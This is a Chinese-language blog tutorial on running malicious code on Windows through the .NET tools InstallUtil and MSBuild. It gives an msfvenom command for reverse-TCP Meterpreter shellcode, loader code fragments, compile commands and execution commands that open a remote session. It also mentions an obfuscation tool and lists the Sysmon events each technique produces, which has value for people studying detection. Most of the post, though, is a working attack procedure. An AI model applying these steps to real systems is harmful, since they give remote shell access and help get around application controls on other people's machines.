美文网首页
在Windows上执行恶意代码 by InstallUtil &

在Windows上执行恶意代码 by InstallUtil &

作者: jjf012 | 来源:发表于2019-02-28 17:41 被阅读0次

InstallUtil

这里获取cs文件 https://gist.github.com/Arno0x/efb32d9329270d72ec376c17ff64cba0

生成c#格式的shellcode
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.138.142 LPORT=4444 -f csharp > 2.cs

然后代码合体

public class Sample:System.Configuration.Install.Installer
{
    public override void Uninstall(System.Collections.IDictionary savedState)
    {
        byte[] shellcode = 生成的shellcode

csc.exe把cs文件编译成dll(后缀名无所谓)
C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe /target:library /unsafe /out:installUtil.dll C:\payload.cs

执行InstallUtil.exe触发会话
InstallUtil.exe /logtoconsole=false /logfile= /u installUtil.dll

注意:因为这里是32位的meterpreter,所以选择32位的csc进行编译。经测试,虽然64位csc能够编译,但是无法运行。
注意.NetFrameWork 高版本可以兼容低版本的编译,所以选择最为常见的2.0版进行编译。

C:\Windows\Microsoft.NET\Framework\v2.0.50727>csc.exe /target:library /unsafe /out:installUtil.dll C:\payload.cs
Microsoft (R) Visual C# 2005 编译器 版本 8.00.50727.4927
用于 Microsoft (R) Windows (R) 2005 Framework 版本 2.0.50727
版权所有(C) Microsoft Corporation 2001-2005。保留所有权利。


C:\Windows\Microsoft.NET\Framework\v2.0.50727>InstallUtil.exe /logtoconsole=false /logfile= /u installUtil.dll
Microsoft (R) .NET Framework 安装实用工具版本 2.0.50727.5420
版权所有(C) Microsoft Corporation。保留所有权利。

然后就僵在这里不动了,除非`session -k`销毁会话

其他
可以使用GreatSCT中的installutil/meterpreter/rev_tcp.py自动化生成混肴内容的cs文件,不过只能用4.0的框架进行编译。

sysmon日志

  1. 执行csc.exe,事件ID 1
  2. csc调用cvtres.exe进行编译,事件ID 1
  3. 编译生成了installUtil.dll,事件ID 11
  4. 执行InstallUtil.exe加载恶意文件,事件ID 1
  5. InstallUtil.exe发起了反弹连接,事件ID 3

MsBuild

注意: 只适用于.netframework 4.0以上版本(因为UsingTask的原因)

这里下载xml文件用于加载shellcode https://gist.github.com/ConsciousHacker/5fce0343f29085cd9fba466974e43f17

上一节msfvenom生成的cs文件可以接着用

          public override bool Execute()
          {
            byte[] shellcode = 生成的shellcode

然后msbuild.exe C:\payload.xml获得会话

C:\Windows\Microsoft.NET\Framework\v4.0.30319>MSBuild.exe c:\payload.xml
Microsoft (R) Build Engine Version 4.0.30319.1
[Microsoft .NET Framework, Version 4.0.30319.1]
Copyright (C) Microsoft Corporation 2007. All rights reserved.

Build started 2019/2/28 17:19:45.

然后就僵在这里不动了,除非`session -k`销毁会话

同样也可以使用GreatSCT中的msbuild/meterpreter/rev_tcp.py自动化生成混肴后的xml文件。

Use MSBuild To Do More

sysmon日志

  1. 执行msbuild.exe
  2. 编译生成了dll文件,C:\Users\Administrator\AppData\Local\Temp\2\yfurnxhk.dll
  3. 编译生成了文件,C:\Users\Administrator\AppData\Local\Temp\2\yfurnxhk.cmdline
  4. csc.exe被调用执行,"C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Administrator\AppData\Local\Temp\2\yfurnxhk.cmdline"
  5. cvtres.exe被调用执行,C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\ADMINI~1\AppData\Local\Temp\2\RES741.tmp" "c:\Users\Administrator\AppData\Local\Temp\2\CSC740.tmp"
  6. Msbuild.exe发起了反弹连接。

流程小结

  1. 生成原始shellcode代码。
  2. 编写加载代码,整合shellcode
  3. .netframework编译成dll文件或者可执行文件
  4. .netframework执行恶意代码

相关文章

网友评论

      本文标题:在Windows上执行恶意代码 by InstallUtil &

      本文链接:https://www.haomeiwen.com/subject/wxykuqtx.html